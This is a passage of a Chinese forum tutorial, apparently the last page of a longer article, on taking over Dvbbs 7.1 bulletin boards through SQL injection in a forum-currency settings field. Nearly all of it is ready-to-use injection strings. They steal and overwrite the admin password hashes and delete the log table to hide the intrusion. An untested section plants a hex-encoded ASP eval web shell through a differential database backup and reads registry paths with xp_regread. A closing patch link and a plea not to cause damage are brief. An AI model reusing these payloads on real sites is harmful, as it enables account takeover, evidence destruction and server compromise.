通过dvbbs 7.1拿权限过程

下面攻击方法类似了，
发贴子，选择－－－论坛交易币设置。
将注入语句写进去。

下面有个“可购买名单限制”，里面就填写：
1，得到后台的管理密码。
77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [Password] from/**/Dv_admin/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
后台密码：c00f91823436a8e0
2，得到前台的管理密码：
77169',0);update/**/Dv_User/**/set/**/UserEmail=(select [userPassword] from/**/Dv_User/**/where[Username]='admin')/**/where [UserName]='bbs77169com';--
前台密码：c552b6b78d00549c
3，改前台的管理员密码
改前台密码：77169',0);update/**/Dv_User/**/set/**/userPassword=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--
4，改后台的管理员密码
改后台密码：77169',0);update/**/Dv_admin/**/set/**/Password=(select [userPassword] from/**/Dv_User/**/where[Username]='bbs77169com')/**/where [UserName]='admin';--
前台密码：c552b6b78d00549c
5删除日志
77169',0);delete/**/dv_log;--
6,给前台密码改回去
改前台密码：77169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--

7169',0);update/**/Dv_User/**/set/**/userPassword='c552b6b78d00549c'/**/where [UserName]='admin';--

7,给后台密码改回去。
77169',0);update/**/Dv_admin/**/set/**/Password='c00f91823436a8e0'/**/where [UserName]='admin';--

下面是一些想法，还没有进行过测试！谁测试成功了，请到华夏论坛讨论一下，bbs.77169.com
为了得到更高的权限，我们可以用差异备份（后台可以看到web绝对路径）：

77169',0);create/**/table/**/aspshell (str image);--

declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk='D:\77169.com.asp' with differential;

drop table aspshell;

另外一种得到web绝对路径办法
create table regread(a varchar(255),b varchar(255));
（建立一个临时表，存放读取到的信息）
insert regread exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
（使用xp_regread这个函数读取注册表信息得到虚拟目录路径，并存入临时表中）
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'
三，漏洞修补
厂商补丁：
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1
四，总结：
至于acess版本没有测试过，sql 版现在有80%都有漏洞，大家可以测试一下，不要搞破坏！
漏洞比较简单，动网怎么大的程序都会有注入点，可见注入漏洞是多么普遍。程序员们还要小心了。

上一页  [1] [2] [3]